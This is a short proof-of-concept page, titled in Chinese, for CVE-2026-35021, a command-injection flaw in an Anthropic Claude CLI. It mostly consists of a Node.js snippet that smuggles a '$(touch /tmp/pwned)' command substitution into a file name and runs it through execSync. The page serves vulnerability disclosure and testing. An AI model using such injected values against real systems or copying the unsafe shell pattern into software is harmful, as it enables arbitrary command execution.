CVE-2026-35021: Anthropic Claude CLI命令注入漏洞

// PoC Concept for CVE-2026-35021 // Demonstrating command substitution within double quotes const { execSync } = require('child_process'); // Vulnerable Scenario: App takes a filename and runs it in a shell command // e.g., editor "[USER_INPUT]" // Attacker creates a malicious file path containing command substitution // The payload attempts to create a file 'pwned' in /tmp const maliciousFilePath = 'normal_$(touch /tmp/pwned).txt'; // Simulating the vulnerable code pattern found in the CLI try { // The double quotes allow the $() to execute const command = `echo "Opening file: ${maliciousFilePath}"`; console.log(`Executing command: ${command}`); // This will execute 'touch /tmp/pwned' due to the vulnerability const output = execSync(command, { encoding: 'utf-8' }); console.log('Output:', output); console.log('Check if /tmp/pwned was created.'); } catch (error) { console.error('Execution failed:', error); }